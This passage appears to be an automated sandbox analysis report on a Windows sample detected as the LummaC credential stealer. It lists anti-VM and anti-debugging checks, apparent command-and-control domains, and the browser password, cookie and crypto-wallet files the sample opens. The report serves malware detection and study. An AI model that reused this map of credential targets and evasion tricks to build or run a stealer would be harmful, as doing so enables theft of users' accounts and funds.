Source: file.exe, 00000000.00000003.1505771866.000000000600A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000002.1775436320.0000000001737000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000000.00000003.1752054163.0000000005FE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000002.1775436320.0000000001773000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679926131.0000000001773000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1779536796.00000000069B9000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1774626377.0000000000F3F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_069CA61C rdtsc

0_2_069CA61C

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: p3ar11fter.sbs
Source: file.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe	String found in binary or memory: p10tgrace.sbs
Source: file.exe	String found in binary or memory: peepburry828.sbs
Source: file.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1774626377.0000000000F3F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: file.exe, file.exe, 00000000.00000002.1779536796.00000000069B9000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: {Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1489031849.00000000017CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ts/ElectronCash"
Source: file.exe, 00000000.00000003.1557149410.00000000017DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.1557149410.00000000017DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus
Source: file.exe, 00000000.00000003.1489031849.00000000017CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000003.1489031849.00000000017CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum
Source: file.exe, 00000000.00000003.1489031849.00000000017CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1489031849.00000000017CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
